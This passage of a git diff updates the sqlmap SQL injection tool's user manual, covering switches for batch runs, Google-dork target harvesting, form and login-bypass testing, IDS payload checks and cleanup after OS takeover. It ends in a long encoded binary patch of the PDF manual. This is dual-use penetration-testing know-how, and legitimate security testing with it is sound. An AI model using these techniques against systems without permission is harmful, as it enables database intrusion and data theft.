-[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: Oracle
-banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
-
-
-

- -

As you can see, sqlmap first calculates the length of the query output, -then estimates the time of arrival, shows the progress in percentage and -counts the number of retrieved output characters.

- - -

Update sqlmap

- -

Switch: --update

- -

Using this option you can update the tool to the latest development -version directly from the subversion repository. You obviously need -Internet access.

- -

If, for any reason, this operation fails, run git pull from -your sqlmap working copy. It will perform the exact same operation of -switch --update. -If you are running sqlmap on Windows, you can use the -SmartGit client.

- -

This is strongly recommended before reporting any bug to the -mailing lists.

- - -

Save options in a configuration INI file

- -

Switch: --save

- -

It is possible to save the command line options to a configuration INI -file. -The generated file can then be edited and passed to sqlmap with the --c option as explained above.

- - -

Act in non-interactive mode

- -

Switch: --batch

- -

If you want sqlmap to run as a batch tool, without any user's interaction -when sqlmap requires it, you can force that by using ---batch switch. This will leave sqlmap to go with a -default behaviour whenever user's input would be required.

- - -

5.16 Miscellaneous -

- -

Alert when a SQL injection is detected

- -

Switch: --beep

- -

When this switch is provided, sqlmap will beep at every new SQL injection -that it finds. It can be useful when you are processing in batch mode a -Google dork output or a proxy log file so that you do not need to monitor -the terminal constantly.

- - -

IDS detection testing of injection payloads

- -

Switch: --check-payload

- -

Curious to see if a -decent intrusion detection system (IDS) picks up sqlmap payloads? -Use this switch!

- - -

Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

- -

Switch: --cleanup

- -

It is recommended to clean up the back-end database management system from -sqlmap temporary table(s) and created user-defined function(s) when you -are done taking over the underlying operating system or file system. -Switch --cleanup will attempt to clean up the DBMS and -the file system wherever possible.

- - -

Parse and test forms' input fields

- -

Switch: --forms

- -

Say that you want to test against SQL injections a huge search form -or you want to test a login bypass (typically only two input fields named -like username and password), you can either pass to sqlmap -the request in a request file (-r), set the POSTed data -accordingly (--data) or let sqlmap do it for you!

- -

Both of the above mentioned instances, and many others, appear as -<form> and <input> tags in HTML response -bodies and this is where this switch comes into play.

- -

Provide sqlmap with --forms as well as the page where -the form can be found as the target url (-u) and sqlmap will -request the target url for you, parse the forms it has and guide you -through to test for SQL injection on those form input fields (parameters) -rather than the target url provided.

- - -

Use Google dork results from specified page number

- -

Switch: --gpage

- -

Default sqlmap behavior with option -g is to do a Google -search and use the first 100 resulting URLs for further SQL injection -testing. However, in combination with this option you can specify with -this switch, --gpage, some page other than the first one -to retrieve target URLs from.

- - -

Imitate smartphone

- -

Switch: --mobile

- -

TODO

- - -

Display page rank (PR) for Google dork results

- -

Switch: --page-rank

- -

Performs further requests to Google when -g is provided and -display page rank (PR) for Google dork results.

- - -

Parse DBMS error messages from response pages

- -

Switch: --parse-errors

- -

If the web application is configured in debug mode so that it displays -in the HTTP responses the back-end database management system error -messages, sqlmap can parse and display them for you.

-

This is useful for debugging purposes like understanding why a certain -enumeration or takeover switch does not work - it might be a matter of -session user's privileges and in this case you would see a DBMS error -message along the lines of Access denied for user <SESSION -USER>.

- - -

Replicate dumped data into a sqlite3 database

- -

Switch: --replicate

- -

If you want to store in a local SQLite 3 database file each dumped table -(--dump or --dump-all), you can -provide sqlmap with the --replicate switch at dump -phase. This will create a <TABLE_NAME>.sqlite3 rather than -a <DB_NAME>/<TABLE_NAME>.csv file into -output/TARGET_URL/dump/ directory.

- -

You can then use sqlmap itself to read and query the locally created -SQLite 3 file. For instance, python sqlmap.py -d -sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table.

- - -

Simple wizard interface for beginner users

- -

Switch: --wizard

- -

Do you really want to know?

- - -

6. License and copyright

- -

sqlmap is released under the terms of the -General Public License v2. -sqlmap is copyrighted by its -developers.

- - -

7. Disclaimer

- -

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details.

- -

Whatever you do with this tool is uniquely your responsibility. If you are -not authorized to punch holes in the network you are attacking be aware -that such action might get you in trouble with a lot of law enforcement -agencies.

- - -

8. Authors

- -

-Bernardo Damele A. G. (inquis)

-

-Miroslav Stampar (stamparm)

- - - diff --git a/doc/README.pdf b/doc/README.pdf index 6db67ac1cf3ca5d10fc6e3a07eca88c191396c12..1833dbe86506a5d4ea5d30713a50064c663dc445 100644 GIT binary patch literal 557938 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 